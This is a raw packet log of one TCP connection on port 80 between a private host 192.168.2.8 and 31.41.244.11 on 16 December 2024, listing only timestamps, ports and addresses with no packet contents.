Dec 16, 2024 17:02:11.386919022 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.386970997 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.387581110 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.387634993 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.388384104 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.388401031 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.388434887 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.388448954 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.389506102 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.389523983 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.389561892 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.389580011 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.390414000 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.390466928 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.390506029 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.390554905 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.391418934 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.391469002 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.391582012 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.391623020 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.392399073 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.392424107 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.392452955 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.392469883 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.393439054 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.393487930 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.393522978 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.393568039 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.394563913 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.394620895 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.394630909 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.394675016 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.395525932 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.395584106 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.395817041 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.395864010 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.396605015 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.396660089 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.396790028 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.396836042 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.397789001 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.397839069 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.398782969 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.398798943 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.398832083 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.398849010 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.399164915 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.399211884 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.399837971 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.399857044 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.399888992 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.399902105 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.401133060 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.401176929 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.401330948 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.401371956 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.402784109 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.402801037 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.402828932 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.402856112 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.403100014 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.403147936 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.403228998 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.403275013 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.404185057 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.404233932 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.404943943 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.404990911 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.405281067 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.405324936 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.405896902 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.405944109 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.406316042 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.406362057 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.406785965 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.406832933 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.407413006 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.407458067 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.407824993 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.407871008 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.408453941 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.408502102 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.408638000 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.408684015 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.409610033 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.409658909 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.409734964 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.409780979 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.410677910 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.410728931 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.411043882 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.411088943 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.411735058 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.411787033 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.411897898 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.411943913 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.412815094 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.412862062 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.413244009 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.413297892 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.414021015 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.414093971 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.414464951 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.414511919 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.416327000 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.416354895 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.416371107 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.416373968 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.416385889 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.416394949 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.416416883 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.416429996 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.417649984 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.417696953 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.418180943 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.418229103 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.418751001 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.418766975 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.418795109 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.418809891 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.419368029 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.419413090 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.419428110 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.419471025 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.555536032 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.555615902 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.555643082 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.555800915 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.556514978 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.556533098 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.556567907 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.556590080 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.557312965 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.557329893 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.557360888 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.557379007 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.558090925 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.558109999 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.558139086 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.558155060 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.559082031 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.559098005 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.559128046 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.559144974 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.560417891 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.560434103 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.560462952 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.560477972 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.561480045 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.561496019 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.561522961 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.561541080 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.562722921 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.562740088 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.562771082 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.562789917 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.563363075 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.563405991 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.563590050 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.563637018 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.564352989 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.564371109 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.564397097 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.564415932 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.565284967 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.565303087 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.565330982 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.565383911 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.566440105 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.566456079 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.566484928 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.566500902 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.567915916 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.567931890 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.567972898 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.567991018 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.568634033 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.568650007 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.568712950 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.570593119 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.570638895 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.570763111 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.570777893 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.570796013 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.570802927 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.570821047 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.570838928 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.571877956 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.571894884 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.571927071 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.571947098 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.573132038 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.573148012 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.573178053 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.573194027 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.573940039 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.573956966 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.573987961 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.574004889 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.575361013 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.575404882 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.576211929 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.576226950 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.576253891 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.576272964 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.576803923 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.576845884 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.577996016 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.578022957 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.578039885 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.578058958 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.579108953 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.579154015 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.579358101 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.579401016 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.580214024 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.580229998 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.580256939 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.580274105 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.581509113 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.581553936 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.582222939 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.582238913 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.582254887 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.582269907 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.582288027 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.583376884 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.583420038 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.584209919 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.584254026 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.584563017 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.584578991 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.584604025 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.584621906 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.585958004 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.585973978 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.586002111 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.586019993 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.587357998 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.587404966 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.588506937 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.588521957 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.588536978 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.588548899 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.588567972 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.589975119 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.590023994 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.591006041 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.591022015 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.591048956 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.591068029 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.591173887 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.591218948 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.592256069 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.592272043 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.592298031 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.592315912 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.593638897 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.593687057 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.594959974 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.594974995 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.595004082 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.595021963 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.596807957 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.596858978 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.598361015 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.598407984 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.598448038 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.598464012 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.598491907 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.598510981 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.598834038 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.598849058 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.598864079 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.598879099 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.598898888 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.600281000 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.600296974 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.600311995 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.600327015 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.600328922 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.600419044 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.600419044 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.601772070 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.601821899 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.602121115 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.602144003 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.602185011 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.602200985 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.602365971 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.602408886 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.603110075 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.603126049 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.603168964 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.603168964 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.604221106 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.604237080 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.604268074 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.604288101 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.618421078 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.618475914 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.618520021 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.618535042 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.618560076 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.618582010 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.618937969 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.618953943 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.618968964 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.618982077 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.618984938 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.619004011 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.619030952 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.619731903 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.619748116 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.619762897 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.619779110 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.619781017 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.619803905 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.619834900 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.620578051 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.620594978 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.620609045 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.620625019 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.620635033 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.620656967 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.620685101 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.621433020 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.621449947 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.621464968 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.621484041 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.621500015 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.747755051 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.747780085 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.747828960 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.747863054 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.748253107 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.748270988 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:11.748311996 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.748332024 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:11.749341965 CET	80	49708	31.41.244.11	192.168.2.8
